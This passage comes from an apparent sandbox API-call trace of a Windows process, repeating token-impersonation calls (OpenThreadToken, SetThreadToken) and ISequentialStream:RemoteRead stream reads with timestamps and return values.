pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x25, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.040] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.040] GetCurrentThread () returned 0xfffffffffffffffe [0148.040] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.040] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.041] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.041] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x15, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.041] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.041] GetCurrentThread () returned 0xfffffffffffffffe [0148.041] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.041] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.041] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.041] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x87, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.041] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.042] GetCurrentThread () returned 0xfffffffffffffffe [0148.042] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.042] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.042] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.042] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.042] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.043] GetCurrentThread () returned 0xfffffffffffffffe [0148.043] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.043] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.043] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.043] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.043] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.044] GetCurrentThread () returned 0xfffffffffffffffe [0148.044] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.044] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.044] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.044] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.044] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.045] GetCurrentThread () returned 0xfffffffffffffffe [0148.045] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.045] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.045] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.045] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.045] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.045] GetCurrentThread () returned 0xfffffffffffffffe [0148.046] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.046] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.046] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.046] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.046] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.047] GetCurrentThread () returned 0xfffffffffffffffe [0148.047] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.047] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.047] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.047] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.047] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.047] GetCurrentThread () returned 0xfffffffffffffffe [0148.047] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.047] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.047] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.047] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.048] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.048] GetCurrentThread () returned 0xfffffffffffffffe [0148.048] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.048] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.048] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.048] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.049] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.049] GetCurrentThread () returned 0xfffffffffffffffe [0148.049] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.049] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.049] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.049] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x56, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.049] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.050] GetCurrentThread () returned 0xfffffffffffffffe [0148.050] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.050] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.050] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.050] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.050] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.051] GetCurrentThread () returned 0xfffffffffffffffe [0148.051] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.051] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.051] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.051] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x18, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.052] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.052] GetCurrentThread () returned 0xfffffffffffffffe [0148.052] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.052] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.052] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.052] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x88, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.052] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.053] GetCurrentThread () returned 0xfffffffffffffffe [0148.053] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.053] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.053] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.053] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.053] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.054] GetCurrentThread () returned 0xfffffffffffffffe [0148.054] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.054] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.054] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.055] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x59, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.055] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.056] GetCurrentThread () returned 0xfffffffffffffffe [0148.056] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.056] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.056] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.057] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.057] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.057] GetCurrentThread () returned 0xfffffffffffffffe [0148.057] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.057] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.057] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.057] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x69, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.057] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.058] GetCurrentThread () returned 0xfffffffffffffffe [0148.058] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.058] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.058] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.058] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.058] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.059] GetCurrentThread () returned 0xfffffffffffffffe [0148.059] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.059] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.059] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.059] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x38, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.059] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.060] GetCurrentThread () returned 0xfffffffffffffffe [0148.060] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.060] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.060] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.060] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xee, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.060] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.061] GetCurrentThread () returned 0xfffffffffffffffe [0148.061] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.061] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.061] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.061] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x95, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.061] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.061] GetCurrentThread () returned 0xfffffffffffffffe [0148.061] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.061] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.062] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.062] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.062] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.062] GetCurrentThread () returned 0xfffffffffffffffe [0148.062] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.063] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.063] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.063] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x39, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.063] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.063] GetCurrentThread () returned 0xfffffffffffffffe [0148.063] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.064] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.064] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.064] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.064] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.064] GetCurrentThread () returned 0xfffffffffffffffe [0148.064] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.064] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.064] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.064] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.065] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.065] GetCurrentThread () returned 0xfffffffffffffffe [0148.065] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.065] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.065] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.065] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.066] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.066] GetCurrentThread () returned 0xfffffffffffffffe [0148.067] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.067] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.067] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.067] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.067] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.068] GetCurrentThread () returned 0xfffffffffffffffe [0148.068] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.068] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.068] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.068] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.068] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.068] GetCurrentThread () returned 0xfffffffffffffffe [0148.069] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.069] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.069] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.069] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x42, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.069] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.069] GetCurrentThread () returned 0xfffffffffffffffe [0148.070] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.070] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.070] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.070] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xab, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.070] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.079] GetCurrentThread () returned 0xfffffffffffffffe [0148.079] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.079] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.079] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.079] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.080] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.080] GetCurrentThread () returned 0xfffffffffffffffe [0148.080] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.080] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.081] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.081] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.081] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.081] GetCurrentThread () returned 0xfffffffffffffffe [0148.081] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.081] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.081] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.081] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.081] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.082] GetCurrentThread () returned 0xfffffffffffffffe [0148.082] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.082] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.082] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.082] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x17, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.082] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.083] GetCurrentThread () returned 0xfffffffffffffffe [0148.083] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.083] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.083] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.083] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.083] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.084] GetCurrentThread () returned 0xfffffffffffffffe [0148.084] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.084] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.084] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.084] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbc, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.084] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.085] GetCurrentThread () returned 0xfffffffffffffffe [0148.085] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.085] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.085] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.085] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.085] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.086] GetCurrentThread () returned 0xfffffffffffffffe [0148.086] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.086] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.086] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.086] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x97, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.086] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.087] GetCurrentThread () returned 0xfffffffffffffffe [0148.087] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0148.087] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0148.087] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.087] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x72, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0148.087] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.088] GetCurrentThread () returned 0xfffffffffffffffe [0148.088] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: 